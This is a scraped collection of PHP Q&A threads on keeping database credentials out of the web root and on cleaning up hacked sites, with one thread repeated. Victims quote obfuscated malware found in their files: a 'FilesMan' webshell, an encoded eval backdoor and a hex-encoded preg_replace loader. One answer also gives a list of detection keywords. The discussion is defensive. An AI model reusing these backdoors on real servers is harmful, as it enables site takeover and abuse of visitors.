How to secure configuration file containing database username and password - php

Issue
In order to connect my PHP code with MySQL database I use PDO way, creating variable, assigning it with new PDO object where arguments contain settings such as server, database, login and password. So in resulting code it could look like this:
$DAcess=new PDO("mysql:host=server;dbname=database","login","password");
I don't feel comfortable having my login data written directly into the code nor do I find it effective in case of possible changes of those data. It was recommended to me to solve this by storing those data in other text file (preferably .INI file) from which it is going to be retrieved anytime I need, for example, having file:
xampp/htdoc/EXERCISE/secret/config.ini
The problem is If any user figures out the location and name of this file, they can easily access it and its content by entering URL/HTTP request into their browser:
server(localhost)/EXERCISE/secret/config.ini
It was adviced to me by the same source the file is supposed to be forbidden from acess by those protocols. So I need to be able to acess the file with my PHP code but disallow any user to acess the directory/file on their own. How to do this?
Possible Solution
I have been roaming these pages and other similar forumses yet all results of my research with keywords such as "forbidden" were about users who lost permission unintentionally. I have also been looking for Google solution, yet Tutorials I have found were referencing to file located somewhere else in my XAMPP version and were about lines of settings not included in this file in my XAMPP version - considering I have downloaded XAMPP from official page, I should be having recent version, thus those tutorials were outdated.
It left me with no other choice but experiment on my own. After a while, I have found directory "forbidden" in directory "htdoc", have played with those files and have ended up with something looking like solution to my issue.
Specifically, I copied .htacess (obviously nameless text file with but extension) and placed its copy into to-be-forbidden directory. I changed nothing in the file but line referencing to login data storing file. I have created my own text file (nameless with but extension .ldatastore) where using copied pattern login:password I have written my own desired login data and made .htacess use this file instead of original htdoc/forbidden/.htpassw.
Since then, it seems it works. Whenever I try to acces those files with my browser on new session (browser closed and opened again, otherwise it doesn't need autentification again), it does not let me browse the directory nor look into its files (neither those which are responsible for those actions such as .htacess or those I created myself such as config.ini) unless I provide valid login data same to those in .ldatastore text file.
So why am I asking this? I feel uncomfortable doing it this way because of several reasons listed below. In case this is the only easy and possible solution, I can live with that, but in case there is much better way you would recommend, I will gladly read that, which is why I am asking for your suggestions. I was also writing this whole text to explain my case fully, provide enough data and express "I have done some research and understanding of the case before asking" so that this would not be by the rules of this page marked as "off-topic".
Reasons Why I Would Prefer Alternative Solution
I feel like it is XAMPP framework dependant. That the whole module making this work is part of the framework's code while .htacess just marks the directories that should be forbidden by this module. That means I am afraid If I would release my project on proper paid server hosting with their own PHP executing software, it wouldn't work everywhere and that this is just XAMPP way to do it. Correct me If I am wrong and this is solution used widely on any PHP executioner.
I was trying to understand the module's documentation located as text file in the "forbidden" directory yet it seems from the documentation this module was developed mainly to make one safe and forbidden server storing secret data accessible then by various different application on different servers rather than just forbidding secret directory (I would leave this directory to be part of my application which is major difference between my usage and by author assumed usage). Correct me If I am wrong and I misunderstood the usage.
Despite the fact I cannot acces the files via browser without login data, my PHP code seems to have no problem acessing the files - I used PHP code to retrieve text from text file that should be forbidden this way and it worked (it echoed the text) with no sign of problems. Well, in the end, I certainly would like to make it work this way yet I expected even PHP code that retrieves the text would need to somehow contain login data to have access. This way it feels like anyone instead of entering the reference into browser would make their own PHP code that would acces those files from my server (which would make this act to increase security useless little bit). Correct me If I am wrong and it is not this easy.
I feel paranoid that it is not safe enough solution. Correct me If I am wrong and it is totally safe and preffered solution.
Too Long, Didn't Read
Is copying and pasting and customizing .htacess file safe enough to make directory forbidden only acessible by my PHP code to retrieve data from there and is it useable on most platforms?
I have recently found in right bar of similar questions this one (How to secure database configuration file in project?), yet I am not sure whether it can be used in my case, too, and how to do so.

As #Darkbee stated, the simplest way is to have the file outside your website root. This would be accessible on the server, but not to the public under any circumstances.
The alternative is to set the permissions to 400 on the file.
.htaccess could block access, but not blocking access to the server (which needs access) is just a long way of doing what would be simpler just using permissions.

Related

Redirect PHP controllers page [duplicate]

Hello and thanks to everyone for reading my question.
I've been working on a PHP web program for a little while and was wondering what measures should I take to protect the source before putting it on a live server. The source isn't being distributed, it's being accessed through a website (users log into the website to use it).
First I'd like to protect the source php files from being found and downloaded. I'm not using any framework, just php and all files are in the home directory as index.php. I read around and it seems that robots.txt isn't really effective for hiding. I came across some posts of people recommending .htaccess, but I often thought it was for protecting files within a directory with a password, so not sure if there's a way to make it htaccess suitable for a web app.
Second, I'd like to protect the source files in the case someone gets access to them (either finds them and downloads them or a sys admin that has ready access to the server). I thought of source encryption with something like ioncube. My host also has GnuPG [which I'm not familiar with, any thoughts about it compared to ioncube?]
I'm not familiar with source protection, so any ideas would be nice, and of course thank you muchly :)
Just make sure your web server is set up to handle .php files correctly, and that all files have the correct .php extension (not .php.inc or similar)
As long as your server executes the PHP, no one can download its source code (ignoring any security holes in your code, which is a different topic)
There was a time when it was common to name included files along the lines of mystuff.php.inc - this is a bad idea. Say your site is at "example.com", and you store your database configuration in config.php.inc - if someone guesses this URL, they can request http://example.com/config.php.inc and get your database login in plain text..
It is a good idea to store configuration and other libraries up one directory as bisko answered - so you have a directory structure like..
/var/example.com:
include/
config.php
helper_blah.php
webroot/
index.php
view.php
This way, even if your web-server config gets screwed up, and starts serving .php files as plain text, it'll be bad, but at least you wont be announcing your database details to the world..
As for encrypting the files, I don't think this is a good idea.. The files must be unencrypted to Apache (or whatever server you're using) can access them. If Apache can access it, your sysadmin can too..
I don't think encryption is the solution to an untrustworthy sysadmin..
Well for your first point, that's web server security, which you should look for help on serverfault. Basically you would use a secure/locked directory for this, or access the files in a virtual directory via a web service.
For you second point, you would use an obfuscator for this, which will protect your source, but remember that if they get the file, you can only do so much to protect it. If they are really interested, they'll get what they want.
The first step you should take is take out all unnecessary files out of the website root and put them in some other place and leave only the files, being called from the web.
For example if you have this setup:
/var/htdocs/mysexydomain.com/root/config.php
/var/htdocs/mysexydomain.com/root/db.class.php
/var/htdocs/mysexydomain.com/root/index.php
/var/htdocs/mysexydomain.com/root/samplepage1.php
Take all the files one level above so you get
/var/htdocs/mysexydomain.com/includes/config.php
/var/htdocs/mysexydomain.com/includes/db.class.php #see the includes dir? :)
/var/htdocs/mysexydomain.com/root/index.php
/var/htdocs/mysexydomain.com/root/samplepage1.php

Codeigniter application getting hacked, code injected in index.php

I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do:
Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem.
Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan
Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...)
Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring.
Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name.
This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files.
As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).

Injection of PHP code to perform a 301

Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.
First someone managed to get this:
#preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");
Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.
There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).
It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.
My envo is:
Gentoo
PHP 5.2.14-pl0-gentoo
Apache 2
I have checked server logs however, as usual, they deleted their trail.
This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.
Is there any vulnerability within PHP that could cause this?
If you need clarification let me know.
Edit
I have a staging system which has a
Work
Preview
Live
I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).
So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.
Pinpointing this kind of things is more on the server admin side I guess. Check the attacker-modified file date, and look for for suspicious activity in that date and time in the server's log (apache logs, FTP logs, ssh logs maybe). This also may depend on your traffic, log size, and level of access to your server, as it may be prohibitive. If you have any html form that upload files, verify the directory in wich the files are stored for php shells . Also check the permissions on that directory. If you are on a shared hosting, this also can be the result of the attacker injecting a shell on another site, and then attacking yours by that mean. In that case contact your hosting company.
It's 99% chance the webserver fault, SQL injection is one thing, but I don't know, maybe they managed to somehow get your password with SQL injection and then log in to a control panel or ftp, but, I'd say it's the webserver.
Ok so I understand how and why now. It was the one thing I thought it would never be: Wordpress.
I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html
Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc
You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various Wordpress vulnerabilities to get around the location problem and plant scripts on any part of the server.
By the way, this actually happened on the latest install of Wordpress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny.
So a nice note of caution about Wordpress there...

Is it a security risk to have your database details in a php file accessable via the browser?

I've just had an argument with a colleaque.
My index.php contains my mysql connection and therefor also the host, username, password and database name.
He claims it is a security thread for the possibility exists that the php parser may fail which would cause the webserver to return the entire file as plain text.
I however believe that IF the php parser would fail the webserver would give an internal server error to the users.
Can anyone confirm whether it is or is not a security risk?
thank you.
The short answer is no.
The long answer is yes, but only if:
your server's been compromised, in which case people reading your php files are the least of your worries
you've misconfigured your server to parse .php files and plain text, which would be very silly indeed.
Also, if you're using some kind of version control software, make sure your .hg or .svn or whatever folders can't be viewed from a web browser. You'd be surprised how often that happens.
EDIT:
I would be inclined to go with some of the suggestions on here already, which is what I do in my day to day development. Have a config.php file outside of your web root folder and include this in your index.php. That way you know for sure it's never going to be viewable. Btw, I've been developing in PHP for a number of years and have never had the parser fail in such a way that it's resulted in raw PHP being displayed to an end user.
EDIT 2:
If your colleague is referring to parse errors when he talks about the PHP parser "failing" then in a live environment you should have error reporting disabled anyway.
Either outcome is a possibility. The normal course of action is to use require to bring in a separate file containing your db credentials. That file should be outside the webserver file tree so it can't be reached via a browser.
I'm in the belief that you can never be too safe. What's easier, replacing thousands, possibly millions of records if a hacker gets your db information, the security breach you would have to explain to your users (and possibly their lawyers depending on content and breach) or putting your db information in a separate, password protected folder and including the information on the pages you need the connection?
To me, the choice is simple.
Your co-worker is correct but this is very unlikely to happen. The .php file will only be returned as plain text or as a download if PHP has stopped running on the host.
To be safer, use an include() path to the database credentials in a new folder. In that folder have a .htaccess file with 'deny from all'.
That way even if PHP stops running on the server, Apache will still run and protect all the files including the database credentials. If even apache stops running, the whole webserver will be unreachable and your credentials will still be safe.
:)
Personally I'd put the options in a config file outside the web tree and, once uploaded, remove FTP access from that directory. It's not just a matter of whether the PHP parser fails and drops the file out as plain text BUT if the FTP server has a vulnerability that's compromised that file could be accessed by FTP as well as HTTP.
As long as Apache/PHP is running as a separate user to FTP you can still require the config file from PHP.

Securing PHP files

Hello and thanks to everyone for reading my question.
I've been working on a PHP web program for a little while and was wondering what measures should I take to protect the source before putting it on a live server. The source isn't being distributed, it's being accessed through a website (users log into the website to use it).
First I'd like to protect the source php files from being found and downloaded. I'm not using any framework, just php and all files are in the home directory as index.php. I read around and it seems that robots.txt isn't really effective for hiding. I came across some posts of people recommending .htaccess, but I often thought it was for protecting files within a directory with a password, so not sure if there's a way to make it htaccess suitable for a web app.
Second, I'd like to protect the source files in the case someone gets access to them (either finds them and downloads them or a sys admin that has ready access to the server). I thought of source encryption with something like ioncube. My host also has GnuPG [which I'm not familiar with, any thoughts about it compared to ioncube?]
I'm not familiar with source protection, so any ideas would be nice, and of course thank you muchly :)
Just make sure your web server is set up to handle .php files correctly, and that all files have the correct .php extension (not .php.inc or similar)
As long as your server executes the PHP, no one can download its source code (ignoring any security holes in your code, which is a different topic)
There was a time when it was common to name included files along the lines of mystuff.php.inc - this is a bad idea. Say your site is at "example.com", and you store your database configuration in config.php.inc - if someone guesses this URL, they can request http://example.com/config.php.inc and get your database login in plain text..
It is a good idea to store configuration and other libraries up one directory as bisko answered - so you have a directory structure like..
/var/example.com:
include/
config.php
helper_blah.php
webroot/
index.php
view.php
This way, even if your web-server config gets screwed up, and starts serving .php files as plain text, it'll be bad, but at least you wont be announcing your database details to the world..
As for encrypting the files, I don't think this is a good idea.. The files must be unencrypted to Apache (or whatever server you're using) can access them. If Apache can access it, your sysadmin can too..
I don't think encryption is the solution to an untrustworthy sysadmin..
Well for your first point, that's web server security, which you should look for help on serverfault. Basically you would use a secure/locked directory for this, or access the files in a virtual directory via a web service.
For you second point, you would use an obfuscator for this, which will protect your source, but remember that if they get the file, you can only do so much to protect it. If they are really interested, they'll get what they want.
The first step you should take is take out all unnecessary files out of the website root and put them in some other place and leave only the files, being called from the web.
For example if you have this setup:
/var/htdocs/mysexydomain.com/root/config.php
/var/htdocs/mysexydomain.com/root/db.class.php
/var/htdocs/mysexydomain.com/root/index.php
/var/htdocs/mysexydomain.com/root/samplepage1.php
Take all the files one level above so you get
/var/htdocs/mysexydomain.com/includes/config.php
/var/htdocs/mysexydomain.com/includes/db.class.php #see the includes dir? :)
/var/htdocs/mysexydomain.com/root/index.php
/var/htdocs/mysexydomain.com/root/samplepage1.php

Categories